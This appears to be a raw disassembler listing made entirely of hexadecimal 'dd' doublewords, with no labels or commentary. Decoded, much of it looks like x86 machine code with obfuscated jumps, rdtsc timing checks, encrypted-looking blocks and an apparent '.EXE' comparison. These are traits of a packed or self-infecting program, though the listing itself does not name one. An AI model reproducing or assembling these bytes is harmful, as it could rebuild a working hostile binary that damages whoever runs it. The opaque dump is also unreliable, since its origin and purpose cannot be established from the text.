		dd 0E98C4D89h, 7EB65B2Dh, 0E93A14BEh, 0CDD8D75Ah, 884864EBh
		dd 0D111CD3Eh, 0B0385476h, 36EE0274h, 0A1725CF6h, 98EACE0Bh
		dd 0D842504h, 40A6FDCh,	0BB97F27Fh, 0FBF767Ah, 1AD23ADEh
		dd 9E5E70DAh, 9C58BD34h, 139625F6h, 5CE521B9h, 0C16ABE0Dh
		dd 9BB7F644h, 0D8440A9h, 57E73418h, 17BD7DB9h, 0A10B5C9Eh
		dd 0DE8123B7h, 974FBE2Bh, 5AD3FD57h, 0E9B8816Ah, 4479065Ah
		dd 56674BF6h, 0F6447902h, 8C4D634Fh, 5D15CB3Ch,	611B7Ah
		dd 94C3032Dh, 0A42276C5h, 5F6FF644h, 1BB171ADh,	398FBC35h
		dd 67640CD9h, 380F1EB4h, 91518D7Fh, 0E5DF133Bh,	559551BFh
		dd 7A58D1FFh, 6CA24B0Eh, 1C8DD90Bh, 0CB155EF5h,	0B849E867h
		dd 0C979B896h, 9224E420h, 0D80CBF7Ah, 647C5Ch, 0B2730ECh
		dd 655CF625h, 0BFEA2348h, 0BC9EECBCh, 4CA24C94h, 82A007C5h
		dd 0A25AB3E6h, 823AD363h, 30E42h, 40000h, 7BB35E72h, 20DC0DBBh
		dd 2BA56E0h, 5A9274C2h,	1BD2C9Ah, 5C9877C1h, 0AC22A9Ch
		dd 568E7CCAh, 13CB2096h, 8951DDD3h, 4C181E1h, 83000000h
		dd 0FF5104E9h, 59042474h, 5C24048Fh, 566168h, 24148900h
		dd 7AA668h, 24348900h, 5B58BE56h, 0CE8177F2h, 2F2A89h
		dd 60EEF681h, 0D6F74462h, 8103E6C1h, 659A04EEh,	0F389535Ch
		dd 5E5BDA89h, 4EC81h, 24890000h, 24048124h, 4, 8B8505Eh
		dd 2D000000h, 3F74210Ah, 0A05F001h, 893F7421h, 348B5810h
		dd 0E2895224h, 4C281h, 0C2830000h, 24148704h, 24148B5Ch
		dd 81E78957h, 4C7h, 4C78100h, 87000000h, 0E95C243Ch, 0FFFAEC78h
		dd 0AC2C6962h, 98037F50h, 0AB8D268h, 306B191h, 0C3E0FFC5h
		dd 58027E27h, 912AB8FAh, 4A59DFD0h, 0E8144006h,	7, 3164EF0Eh
		dd 8AC87901h, 81F959F8h, 65EDC1h, 9E900h, 48E90000h, 11463201h
		dd 68483FFEh, 0
		dd 0DE9h, 3814B700h, 0E0DA5A7Dh, 0FC9EE942h, 805F84ABh
		dd 34FFE9DFh, 0FE80Fh, 5DBD0000h, 20953F81h, 7BAA327Dh
		dd 0B011A037h, 75EC8041h, 0B8525A5Bh, 79DF88C7h, 93EA815Bh
		dd 602950EBh, 12E9h, 35EED100h,	8D4C24B4h, 0B551044Ch
		dd 734CC29Fh, 6069D8C2h, 8315B1BAh, 38F28143h, 61544130h
		dd 6EA8161h, 0F28C414h,	0EA81DEB7h, 491C249h, 148B0Fh
		dd 8F0F0000h, 0Eh, 9E9h, 0BA36A700h, 5D606440h,	14896306h
		dd 38B0F39h, 66000000h,	0EF83D98Bh, 0FF81F904h,	0FFFF9AE0h
		dd 0FF6C850Fh, 0C480FFFFh, 32E9DBh, 0E4770000h,	6713h
		dd 0Bh dup(0)
		dd 4F8E9h, 0B4708300h, 0EC28C575h, 0B76F9D2Dh, 0EE26C676h
		dd 0B4709F2Fh, 0B2F10875h, 0D262A35Bh, 8D3DFC38h, 0D464A561h
		dd 733AFB33h, 0A33B9122h, 0A780E8E1h, 0E925C676h, 0AD5EEC60h
		dd 0E807B171h, 0AC5DED2Ch, 0FB13A370h, 35578D3Eh, 88A4EF93h
		dd 5BED2FA6h, 0CBA7AB2h, 0D5E727DFh, 23C499F5h,	769A2AEBh
		dd 8F3C6DBEh, 0EF933559h, 0C0038AA6h, 8C7C9C70h, 538B6250h
		dd 0E10BBD7Dh, 25DA7D23h, 61CB0BC3h, 8473C849h,	9B2879AAh
		dd 0EF933045h, 0ED2FA68Ah, 0BB7BB35Bh, 0D53ADE0Dh, 5D73D919h
		dd 0E38FAF9Dh, 0FA5081A2h, 0A0004642h, 9BB930BEh, 17FB4BEFh
		dd 0FB481FDFh, 0EF92E7A5h, 61E8C6EAh, 0C001BD51h, 0F9599770h
		dd 0BE769566h, 39B06D96h, 2A80D717h, 3FF40E9Eh,	0C5F67F3Bh
		dd 0EF926A8Ch, 0C01C4868h, 0C0BB8444h, 694Ch, 0AD5EC000h
		dd 0CE04B171h, 0AAEF9335h, 8602DE8Ah, 0D4C0BB4Fh, 1ED63585h
		dd 0F4574DEh, 5CEF9342h, 0B76F970h, 0A7000000h,	420F45F6h
		dd 705CEF93h, 0B15E75F9h, 644A8269h, 0C1FD12A4h, 9F57B701h
		dd 214D6D5Fh, 84578F7Ch, 931AD234h, 0C907E050h,	7E0B3D3Dh
		dd 21E0CEAAh, 601DA70h,	9E8DC370h, 0FED2EF92h, 9BD507D6h
		dd 0AF5E9E12h, 0EC01B777h, 2D03BB2Ch, 3E2A88EDh, 0C724F41Bh
		dd 5765CF0Fh, 0EC2D03BBh, 27DF0DBDh, 0B76D9EAEh, 6B2234A4h
		dd 20DC33A1h, 4A644AE0h, 16CE3C8Ah, 0B2DEFAD6h,	0BB7AC256h
		dd 7BC6C0h, 5E4A0000h, 1B777AFh, 45F333EBh, 1AAC6CA8h
		dd 9FFA3AF2h, 0A610513Dh, 41972475h, 8EEF9335h,	5D092BA2h
		dd 0D415D138h, 89498564h, 0E83C8FDEh, 35EF9335h, 0FE383119h
		dd 9AD3C602h, 13CB2313h, 0B68365D3h, 92D0CF05h,	1E301CEFh
		dd 448068DEh, 1470AC84h, 0B5D1F55Dh, 0BB2CCD59h, 4CC7C0h
		dd 0BF4B0000h, 0AF26DE0Fh, 74B4709Fh, 417D9323h, 0D814F8C8h
		dd 80EC3018h, 37F62EDDh, 75B15E3Bh, 35C900B5h, 8FAFEF93h
		dd 0DDF55FE3h, 0AAB5DB28h, 0FB51E231h, 40EF92F9h, 0E86CE56Ch
		dd 0E0C0BB73h, 0Ah, 906C9B31h, 0BF14EB7Ah, 0B05EBA36h
		dd 0E902B474h, 9B4AED2Dh, 0CF148931h, 51D88698h, 0AC421773h
		dd 68467E6Ch, 6208CCA9h, 2B3302B1h, 94B8E52Fh, 0CD09E254h
		dd 934BBC0Ch, 51B0E653h, 9A46F63Fh, 9642ABEEh, 9BF14277h
		dd 0E0F63F51h, 8822E2CCh, 51B4E85Bh, 0D5F9F63Fh, 618A3AFBh
		dd 3AD365A5h, 70B06C9Eh, 5134F4DAh, 0A05CB000h,	83437B92h
		dd 0E682A029h, 5CB00352h, 0A1F63F51h, 0D334048Dh, 57D3DA1Bh
		dd 339E8ABh, 8FA75FB3h,	5964CC0h, 87088166h, 10Ch, 254F8B0Bh
		dd 225C45F6h, 0CDE1E52Fh, 9A52BB0Dh, 75AB1849h,	0BAF63F4Ah
		dd 6CDC1F96h, 6080457Bh, 58074C7Ah, 9CE4388Bh, 529F63Fh
		dd 0AC5DEB2Bh, 77D5B070h, 69A5461Bh, 24E00ABAh,	4C74EE4h
		dd 0E8D6890Dh, 3B8339h,	8B0F0000h, 46F5264Ch, 6F933632h
		dd 0C319AAFBh, 86F9335h, 94B8AD24h, 35ABE154h, 6D4D6F93h
		dd 244E8901h, 44F7A6F7h, 6F933610h, 0CBF8715Dh,	0EF9335B5h
		dd 1D5796BAh, 88h, 254F8B17h, 6FA746F6h, 0A98437E6h, 36E52F27h
		dd 3D8DDA1Ah, 0AC9C15D1h, 0F242833Bh, 0F32BC119h, 6FA81DDDh
		dd 7F63F52h, 1EAAFDBh, 0A56104C5h, 729A3ED3h, 0E25494BAh
		dd 0A70DCD09h, 0C774A789h, 0EBCDC2F3h, 6AA24878h, 0D9328444h
		dd 0AB7ADD1Dh, 73426F01h, 8248609Ch, 0F62EDEF0h, 80B29C36h
		dd 0DA70B06Ch, 95157153h, 0B9E83B51h, 0AE27DF09h, 7F23A99Dh
		dd 0AE42F2F2h, 0C6EAFF76h, 6E65607h, 0D410FCCEh, 0BB37BE14h
		dd 0F6254F8Bh, 21A47145h, 1D2FEE5h, 1D9A58B1h, 467D6FF7h
		dd 5C9E1739h, 4C501EAh,	0E6550455h, 0F6445DB2h,	0AEE2D3FFh
		dd 0F3F6445Dh, 856656DFh, 3D3C8949h, 634EE7ABh,	68A61AB0h
		dd 879D07ECh, 1D402C0Eh, 0A0F130ECh, 0A0E42F1h,	957657E7h
		dd 0EB624E59h, 3AFA32DBh, 60A05C8Ch, 0D489E5C7h, 6B3AFB33h
		dd 0B70921C1h, 0D8428C4h, 0D010CC3Dh, 0D9Ch, 0EEBF9600h
		dd 9336075Dh, 0F17854EFh, 0B35EED9Fh, 0DC0DBB7Bh, 0BA56E020h
		dd 9274C202h, 0BD2C9A5Ah, 9877C101h, 0C22A9C5Ch, 8E7CCA0Ah
		dd 0CB209656h, 68DDD313h, 4351h, 56243C89h, 0C681E689h
		dd 4, 8704EE83h, 895C2434h, 74682404h, 8900001Ch, 0EC832414h
		dd 24148904h, 0B192DDBAh, 5AD08906h, 24148B54h,	4C481h
		dd 0BB530000h, 8, 0C1FEB81h, 0D3013165h, 0C1FC381h, 3893165h
		dd 24148B5Bh, 81E38953h, 4C3h, 4C38300h, 5C241C87h, 582434FFh
		dd 0E904C483h, 0FFFAE654h, 420C7C32h, 98B5205Dh, 975BB89Ah
		dd 0C50306B1h, 0C5BDE0FFh, 3E6E7B90h, 0D81B526Ah, 0FC56752Fh
		dd 8D8D653Ah, 6B19870h,	6DE28166h, 0D8D89CDh, 6A06AC2Fh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 7CB8C356h, 0C7719A72h, 8B6613EEh,	585C7F9h
		dd 0C06AC1Eh, 6600005Bh, 0F85021B8h, 27F185C7h,	6ACh, 958B0000h
		dd 6AC2579h, 270DB5FFh,	0C18B06ACh, 0BF995FFh, 12E906ACh
		dd 0B8000000h, 0E88E07AEh, 39D52F4Bh, 910E2CA3h, 0BC936BA0h
		dd 0FF006AE7h, 0AC214595h, 0EBC08B06h, 0FD83535Dh, 94A953B5h
		dd 2ADB5CF4h, 1B72AF3Bh, 79F0885Ah, 5D1C9E89h, 367D3CAAh
		dd 7C1E87F0h, 5C865EF8h, 0DBA75CDh, 0A72F4D29h,	4D570A3Bh
		dd 0D988099Dh, 0D7FB2C9Eh, 0E26888E2h, 44890FA3h, 8E57E5D7h
		dd 71DB19B8h, 984D0856h, 6229D882h, 0F0CFEECBh,	0EAFA5806h
		dd 25F42B6Ah, 66E9F21Ch, 60000002h, 0F6D98C66h,	840F04C1h
		dd 35h,	0B5FF016Ah, 6AC1281h, 6929858Dh, 0D0FF06AFh, 7058589h
		dd 0FE8B06ACh, 680CEFC1h, 20060000h, 26A006Ah, 0D6857h
		dd 95FF0001h, 6AC0705h,	32E9h, 3985C600h, 5606AC33h, 0C530DF68h
		dd 0DB5FFA9h, 8D06AC21h, 0AF692985h, 89D0FF06h,	0AC338585h
		dd 0E1858D06h, 5006AC23h, 56A406Ah, 8595FF56h, 6106AC33h
		dd 0C3h, 2 dup(0)
		dd 0D48B5200h, 8428B60h, 99558589h, 428B06B1h, 4D85890Ch
		dd 8B06B199h, 85891042h, 6B19951h, 998BB58Dh, 858D06B1h
		dd 5B8EA1h, 5A61D0FFh, 8B000CC2h, 0B19955B5h, 4D858B06h
		dd 8306B199h, 0B19951BDh, 840F0006h, 7,	2E90689h, 88000000h
		dd 0CF06h, 0
		dd 8B520000h, 428B60D4h, 55858908h, 8D06B199h, 0B199DCB5h
		dd 0A1858D06h, 0FF005B8Eh, 8B5A61D0h, 0B1995585h, 4C206h
		dd 9955858Bh, 8B06B1h, 99558589h, 0CF06B1h, 60000000h
		dd 99B2B589h, 858906B1h, 6B199AEh, 1AF9858Dh, 408B06ACh
		dd 0EB858944h, 8D06B199h, 0B19A21B5h, 0A1858D06h, 0FF005B8Eh
		dd 858B61D0h, 6B199B2h,	0AE9D8BC3h, 0F06B199h, 33C43B7h
		dd 785B8BD8h, 99AE9D03h, 738B06B1h, 0AEB50324h,	5606B199h
		dd 8B207B8Bh, 0BD031C73h, 6B199AEh, 99AEB503h, 83FC06B1h
		dd 8B41FFC9h, 0B199B29Dh, 3178B06h, 0B199AE95h,	4C78306h
		dd 0C084028Ah, 0F840Fh,	33A0000h, 0FFDC850Fh, 4243FFFFh
		dd 0FFFFE7E9h, 0F033AFFh, 0FFFFCD85h, 0E1D15FFFh, 0F04B70Fh
		dd 386048Bh, 0B199AE85h, 0B2858906h, 8B06B199h,	8BCE8BF0h
		dd 0EBBD81C1h, 6B199h, 0FC03000h, 0D85h, 14E8C100h, 0FFC25h
		dd 8E900h, 0E8C10000h, 3FF82512h, 0BD8B0000h, 6B199EBh
		dd 6070C83h, 8B07148Bh,	3C8124C2h, 0FC18B81h, 5784h, 0EBBD8100h
		dd 6B199h, 0FC03000h, 0D85h, 0AE8C100h,	3FFFFC25h, 8E900h
		dd 0E8C10000h, 0FFF82509h, 2D007Fh, 83400000h, 0F70608h
		dd 80h,	1E840Fh, 0BD810000h, 6B199EBh, 0C0300000h, 0E840Fh
		dd 0F8250000h, 8B00003Fh, 60000080h, 60883C0h, 59858DCFh
		dd 8906B199h, 0AC08BD85h, 0EF858D06h, 8906B199h, 0AC296185h
		dd 0B6858D06h, 8906B199h, 0AC11AD85h, 0EE806h, 0E4940000h
		dd 0B26B7176h, 47CD4626h, 0CE1B464Ch, 880F59h, 81000000h
		dd 61FEC1h, 9E900h, 97930000h, 9BBFE945h, 0BF905507h, 0
		dd 256FBA66h, 0BB39048Bh, 7CC5589h, 9AE6E881h, 8B661596h
		dd 0E881D1h, 8170542Bh,	0A6D1E8C0h, 5810F57h, 66000000h
		dd 0D32FD381h, 80390489h, 0E3B340EAh, 0E902EF83h, 0Ch
		dd 7C3AEDCh, 57C3FECDh,	8AE9764Ch, 0EB64F4Fh, 9EB4FF81h
		dd 850FFFFFh, 1Ah, 0E8A6E281h, 25E97365h, 0BD000000h, 5B47620Dh
		dd 2E683A6h, 4B13F658h,	0E9FCD428h, 0FFFFFF8Ch,	49E75E3Bh
		dd 865CD10Bh, 9D3E0532h, 0CAFB617Ch, 13CE9h, 4Fh dup(0)
		dd 29BD8300h, 106AC01h,	56F840Fh, 830F0000h, 8,	66F28B60h
		dd 615DC6B8h, 333985C6h, 604306ACh, 69A6BE66h, 61D0B70Fh
		dd 0FF1F8568h, 606060DDh, 615B5061h, 52505250h,	585A310Fh
		dd 96BB310Fh, 5A04D9CCh, 34816158h, 5ACF7024h, 55006A31h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 18D0F92h, 0F9000000h, 210DB5FFh, 8D0F06ACh, 0Dh, 8E9h
		dd 0F1542D00h, 8BF3152Bh, 0BB6660B0h, 0BB66DC74h, 8D6143DFh
		dd 0AF692985h, 9850F06h, 60000000h, 66C0BF0Fh, 61C082BBh
		dd 60D0FFF9h, 61D88166h, 858961DEh, 6AC1305h, 0C880FF9h
		dd 0E9000000h, 7, 4D2BC984h, 0C6478D29h, 0AC333985h, 840F5006h
		dd 7, 0F3B70F60h, 0E8615F57h, 4, 0A8ADAD56h, 1A860Fh, 52500000h
		dd 0DE9h, 0DE69B400h, 431D261Bh, 1310414Fh, 310F6CBDh
		dd 585A6160h, 0F18A6050h, 0A40ABF52h, 615E3E51h, 424448Bh
		dd 0DF8B6660h, 0F008B61h, 1D80h, 17810F00h, 0E9000000h
		dd 12h,	26C37F10h, 2308FC35h, 0BC5CC73Fh, 0B7EA599Eh, 4489B3C6h
		dd 11E90424h, 0FE000000h, 1B8BEC9Ch, 536650DDh,	0B82D8FD0h
		dd 0E88E07AEh, 0FE96058h, 0B6000000h, 6BD5F1F6h, 9FD24E76h
		dd 42F86019h, 19BE6211h, 6144B63Eh, 210DB5FFh, 0FE906ACh
		dd 0D6000000h, 0D232B532h, 914BFA1Bh, 1C009AFBh, 858D921Fh
		dd 6AF6929h, 1800Fh, 0FFF50000h, 52006AD0h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 0F95AAF33h
		dd 0C1BF0F60h, 585B5150h, 0D5858961h, 0F06AC30h, 0C85h
		dd 68A0F00h, 0F000000h,	84h, 0CA346800h, 8E9C596h, 94000000h
		dd 9B098E16h, 81E383F9h, 0DDFB2404h, 6A2AF8h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 1FD6B1C3h
		dd 0D78EBCECh, 19820FFCh, 0E9000000h, 14h, 8083E8F6h, 0EB6B18FEh
		dd 0B96020C2h, 0D32E0DB1h, 43D60DE9h, 0DB5FFFCh, 0E906AC21h
		dd 0Ah,	884F14DCh, 0EB7AA82Fh, 858D8753h, 6AF6929h, 0FE9h
		dd 0CD93AA00h, 4D0908B2h, 49C0930Fh, 56BE2F6Eh,	8160D0FFh
		dd 4FF117E7h, 61DE8B6Dh, 6E960h, 33DE0000h, 0EAB8A9DFh
		dd 0F9858961h, 0F06AC09h, 883h,	0C1816000h, 1DEB3670h
		dd 3985C661h, 5006AC33h, 78B0Fh, 66600000h, 6160D18Bh
		dd 4E861h, 0DC560000h, 0B160979Ch, 6050615Ah, 61605250h
		dd 7CBE310Fh, 5A7D4F67h, 0CE85258h, 0
		dd 0F92BE5A3h, 7FF55973h, 5E20E41Eh, 448B615Fh,	0BF600424h
		dd 9FE4B73h, 50008B61h,	28B0F52h, 60000000h, 0E9310F61h
		dd 12h,	9FE2CC79h, 0EB684769h, 88D5BCA9h, 15606CD5h, 585A825Ah
		dd 4244489h, 118C0Fh, 0CE90000h, 20000000h, 9F6FA6EFh
		dd 0D55AC6DCh, 58B6AB06h, 50BF6660h, 0E1E9809Eh, 81B5FF61h
		dd 0F06AC12h, 185h, 858DF800h, 6AC3AFFh, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 14h, 34C35141h, 60D0FFF5h
		dd 22A7B966h, 2850Fh, 61600000h, 0B5858961h, 6A06AC13h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 0E334C353h, 0A46B1316h, 0DB79B2C4h, 0EE960h
		dd 7D680000h, 5AA7E88Ah, 0F633C7FCh, 0A2160054h, 19850Fh
		dd 13E80000h, 0D3000000h, 475F0F49h, 2D1380CEh,	377FA474h
		dd 0F77D1F4h, 615B30BDh, 0E880Fh, 81600000h, 8C57C1E3h
		dd 4CC6810Ch, 612AE692h, 18CE9h, 6BBF6000h, 800658E1h
		dd 506192E0h, 14E9h, 3D2C0800h,	0A296E20Dh, 40ACBC2Ah
		dd 0B54E4366h, 0A9CE6E66h, 242C8919h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 0AAC35242h,	0FCF55B4Ch, 8C0FEC8Bh
		dd 1, 0FCC483FCh, 13E9h, 0F97A2600h, 315FA90Ch,	0E82CE50Ah
		dd 36F3CA69h, 16E4345Eh, 6E960h, 0DACE0000h, 75AF147Ch
		dd 0CE9h, 0C877E00h, 14E5821Fh,	28FD5C96h, 0E8A6h, 815A0000h
		dd 0B1A1DAEAh, 0FC45C706h, 0
		dd 129BA83h, 0F0106ACh,	9884h, 6A5200h,	92FF0F6Ah, 6AC1305h
		dd 2182895Ah, 8D06B19Ch, 0B19C259Ah, 3C75206h, 128h, 92FF5053h
		dd 6AC30D5h, 9A8D525Ah,	6B19C25h, 21B2FF53h, 0FF06B19Ch
		dd 0AC13B592h, 0C00B5A06h, 9A8D5074h, 6B19C25h,	33247B8Dh
		dd 4F981C9h, 74000001h,	3C8141D4h, 58452E39h, 8DEE7545h
		dd 752B3934h, 4DBA8D0Ch, 8B06AC15h, 0A4F30C4Dh,	52AAC032h
		dd 8D0875FFh, 0AC154D82h, 92FF5006h, 6AC09F9h, 75C00B5Ah
		dd 0FC45C7A0h, 1, 45C707EBh, 0FCh, 458B6100h, 8C2C9FCh
		dd 7E900h, 3BAA0000h, 0BB1A852Fh, 57006A6Ch, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 6953755Ch
		dd 84709FF3h, 0FE9E7h, 0F760000h, 16695CC2h, 90FD5449h
		dd 0FFC7382Eh, 8DD28BC1h, 0B1A38F8Dh, 52006A06h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
		dd 0FEC604Dh, 89A7ECD8h, 0AC2F0D8Dh, 0A1958B06h, 0C706AC23h
		dd 0AC1E0585h, 5CBC06h,	72BE6000h, 0E86F4195h, 0Dh, 31DA9599h
		dd 0F3B093BFh, 4D50CAB4h, 51858B70h, 5B06AC00h,	0F185C761h
		dd 6AC27h, 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 9FDDC353h, 3310EFBAh, 0AC08D1BDh
		dd 359D8906h, 0FF06AC26h, 0AC1155B5h, 699D3106h, 0FF06AC17h
		dd 0AC0BF995h, 18F0F06h, 0F8000000h, 95FF006Ah,	6AC2145h
		dd 69EBC08Bh, 4F152F0Bh, 490C1983h, 9DC34CB2h, 36918C6Fh
		dd 8D0703FCh, 390EA465h, 0B7907C76h, 584A4A6Ch,	0D352302Eh
		dd 730D342Dh, 73306ADh,	0F90B11FDh, 0C19F0A93h,	3971191h
		dd 23DB03B0h, 0E11C6260h, 81EBC065h, 2C7D02BDh,	8614D560h
		dd 6430B0BAh, 7EBE8750h, 0BDB240F8h, 413013B5h,	0BA7177F3h
		dd 1EFBD541h, 0D21C0508h, 721D48D5h, 56B1241Eh,	146D992Ah
		dd 7FB1F3h, 7C3B0A07h, 0AD7EDC7Bh, 0EE8BC5FDh, 908B7980h
		dd 0FF7432h, 40BA2D0h, 0CC866B1Ch, 0AC3DD833h, 0AD06BF3Dh
		dd 0BED21D32h, 0F63B8E32h, 58D160FDh, 0DECA4F70h, 2633A5E3h
		dd 0F7638EC5h, 5DD29D05h, 0C73B3A30h, 0AED34C32h, 8D3B8E32h
		dd 2462846Bh, 2C3F877Eh, 0B83FF576h, 0EC3BE832h, 17ECB763h
		dd 2EEDB154h, 13B3C8Fh,	29348E34h, 0AD3B473Eh, 11D2CF80h
		dd 123BD130h, 0F1B3458Fh, 926F1BFh, 748D3C83h, 0FDC296A2h
		dd 0C7AB5DB9h, 0AED31232h, 8D3BA332h, 2466126Fh, 2C3FCC5Eh
		dd 0B03F5076h, 0E83B3A32h, 0EB4DDE67h, 5F9AD2Fh, 29F96005h
		dd 0EC426BFh, 3DCED783h, 3F2C6B88h, 145D2431h, 58AB4BCAh
		dd 0B15E88CDh, 0A3D2889Eh, 383B4732h, 845B13B8h, 93D00628h
		dd 0B30E9019h, 0AEB47B70h, 2D3B3A32h, 6DB03AF8h, 0C9E45FB3h
		dd 10B8728Bh, 0AB97BDB7h, 2E32A432h, 131C18Fh, 0B44F7434h
		dd 6DB06962h, 0AD3F678Ah, 24BE0732h, 203DEB3Ah,	399C7AFh
		dd 0F6E82E34h, 84866B6Ah, 0AD3DD838h, 0FE6B2D46h, 0AD3F678Ah
		dd 24BE0732h, 203DEB3Ah, 3A4F0AFh, 0F6E82E34h, 28ED686Ah
		dd 0AD3BFE3Dh, 0AD513A32h, 0AD38F565h, 0F21B8E32h, 0D1B218F1h
		dd 0E9BAA716h, 0AD20D516h, 0FA7CE832h, 53F3A3F1h, 0AA21C3A2h
		dd 29347DC8h, 0AD3B8E30h, 0A5D21861h, 2D3BA332h, 61E227DCh
		dd 0CCA37570h, 7687CD54h, 0AD51FAB9h, 0AD38F564h, 0F31B8E32h
		dd 0D9B219F1h, 0E9BAA716h, 0AD27D516h, 0FB7DE832h, 0D7CA21F1h
		dd 0FA3BA158h, 1A34BCB1h, 0A9B081C4h, 0CB3B4732h, 2085C988h
		dd 1C9FD6AFh, 0F83B8234h, 0AD3B77DAh, 6E661A32h, 8957946Fh
		dd 897F0F36h, 0AD3B5236h, 6E6EE632h, 28B6BF1Fh,	0AB8A9B6Eh
		dd 0AD3B7DDBh, 7E31D532h, 0ADA24077h, 6FBB24D7h, 2CEBB8B8h
		dd 415572C4h, 0A2FBDA55h, 0AD3BFCB6h, 9EA6F932h, 583D967Ch
		dd 0AD3B1E8Ah, 81E832h,	0FBD8B8A7h, 0A2A62E68h,	0CB3D6096h
		dd 0CBC8D28Bh, 2026C188h, 1C4866B7h, 7DC4E134h,	456C8E58h
		dd 0AD3B4731h, 0F2F8FC12h, 0A91FADBBh, 0A91FACB3h, 0AD3B7427h
		dd 5FF86D75h, 64BA7B8Ch, 6D309F31h, 0AD6BC33Dh,	5DB1A332h
		dd 0E3084CBFh, 0BDD3EE9Eh, 0E43B7432h, 0A762BB5h, 14781A1Bh
		dd 0A5912F30h, 0A2EFAF23h, 0AD3BA0BEh, 5FB0B732h, 0AD3A506Ch
		dd 65B07432h, 0AD51D9CDh, 0AD38F563h, 0F41B8E32h, 0E1B21EF1h
		dd 0E9BAA716h, 0AD23D516h, 0FC7AE832h, 0C23E99F1h, 30B63EB6h
		dd 0AB8AB926h, 28B65984h, 0AB8A346Eh, 4569A358h, 0AD3BD131h
		dd 0F7F8B212h, 0A91F20BBh, 0A91F7EB3h, 0AD3B1D29h, 0CFF8DC70h
		dd 0B532CA31h, 2771EBBEh, 135D81D9h, 5265990Ah,	1A3414E2h
		dd 0ABBE35C0h, 0A23B1D32h, 0AD3B8EB6h, 6D302632h, 0AD06273Dh
		dd 0D84D132h, 0CD4FFC62h, 26CCCB3Dh, 30B65BF4h,	0AB975301h
		dd 15CA313Dh, 0AD3B4731h, 0AD3BB2DBh, 34337332h, 0AA7BFB37h
		dd 0BE3F5252h, 67C4D063h, 4EC4D4BBh, 0AD3B88DBh, 201AD632h
		dd 0EE4BBAFDh, 456ED158h, 0AD3BE831h, 0F0F82912h, 0A91F56BBh
		dd 0A91F59B3h, 0AD3B8E27h, 11F81277h, 74BAC581h, 10B6226Dh
		dd 0AB8A4BCFh, 0A45F9BFh, 0D0833C83h, 9EB1566Eh, 1224BB7h
		dd 6CF46C34h, 0A2A62EDBh, 0CB3D6096h, 0CBC8D28Bh, 2026C188h
		dd 1C4866B7h, 7DC4E134h, 0E9838E58h, 8BA4F305h,	81F560C0h
		dd 67B183CBh, 6A6126h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 0E5EFF5C3h, 0A5B75FFFh, 8BD58AEFh
		dd 0F98B66C3h, 5E9h, 0C342600h,	0C08B0B9Ah, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0BCC35141h, 83F59030h
		dd 0AC1E85BDh, 9750006h, 0A29BD83h, 740006ACh, 8B535019h
		dd 47AB8C0h, 85890000h,	6AC0C01h, 0A2CB9D8Dh, 0D3FF06AEh
		dd 0BD83585Bh, 6AC0A29h, 50177400h, 47AB853h, 85890000h
		dd 6AC0C01h, 9F6C9D8Dh,	0D3FF06AEh, 830F585Bh, 18h, 12890Fh
		dd 0DE90000h, 0F8000000h, 0B684916Ah, 0A40A1678h, 3B95B005h
		dd 0C08B5F51h, 0FE8h, 3E237900h, 764B0193h, 52051E6Eh
		dd 27F7D296h, 5AFFB70Fh, 81DAB70Fh, 5DEBC2h, 12E900h, 0CED10000h
		dd 0E0E78FAAh, 1F342789h, 8390887Ah, 0BD750EA8h, 0B9h
		dd 0EE900h, 0DDEE0000h,	0FA36E745h, 4C49BE58h, 45EE2180h
		dd 800A048Bh, 0C08156CBh, 798851Ah, 0BEBB6660h,	13E8E8h
		dd 0A3990000h, 0C71D424Ch, 687961CAh, 8C50A3BDh, 38D76180h
		dd 9EBF6626h, 816158C4h, 0A595D2E8h, 10E874h, 6FE40000h
		dd 6462982Dh, 0A318C6BAh, 0D26F437Dh, 0AE84EB6h, 95000000h
		dd 0DB09CE8Eh, 9C3D35C1h, 5E5FF5D5h, 1C73F081h,	800F421Bh
		dd 11h,	5E8h, 86006400h, 0D781AD1Eh, 1E9B5858h,	0BB66505Fh
		dd 48F6494h, 0F8F18B0Ah, 6604E983h, 0F981F28Bh,	0FFFFA338h
		dd 24850Fh, 14E90000h, 0E7000000h, 31BB9530h, 0ED703EAEh
		dd 5C7F438Dh, 6E464F4h,	0E9D2C4C4h, 28h, 626F293h, 10E85226h
		dd 0E2000000h, 8E5A4984h, 0E302B385h, 6D272884h, 8B56EC79h
		dd 29E95FDFh, 0A3FFFFFFh, 73F92BE5h, 9E8h, 4CE6E500h, 93A1FDD7h
		dd 840F9EB2h, 5, 0C9C18166h, 816658B7h,	818707DFh, 5B27C0h
		dd 68F0F00h, 81000000h,	746737E2h, 0BE42h, 8B660000h, 301C8BD7h
		dd 81CFBF0Fh, 5B40BFEBh, 0F575275h, 82h, 81595F00h, 0BE6C7AF3h
		dd 0CE8B6642h, 4F28C381h, 0F680350Dh, 301C8924h, 0E9C88B66h
		dd 0Ah,	28817C3Dh, 9E7D143Ah, 0EE8383A8h, 0D38B6601h, 664E4E4Eh
		dd 61D9D281h, 0A564FE81h, 850FFFFFh, 0FFFFFFA9h, 0EEA0BA66h
		dd 56E9h, 858E1400h, 31h, 0C51C5700h, 6148434Ah, 0A5ADF936h
		dd 528C88A7h, 0B7FB75h,	0ADF99CBEh, 89937EE5h, 0F4C7009Dh
		dd 6063921Dh, 0DE19h, 9	dup(0)
		dd 0E9000000h, 0B54h, 0B1AB7D68h, 0D38EE906h, 0EE68FFFAh
		dd 0E906B1ACh, 0FFFAD384h, 0B1AE3768h, 0D37AE906h, 1C68FFFAh
		dd 0E906B1AFh, 0FFFAD370h, 0B1AFF168h, 0D366E906h, 0CF68FFFAh
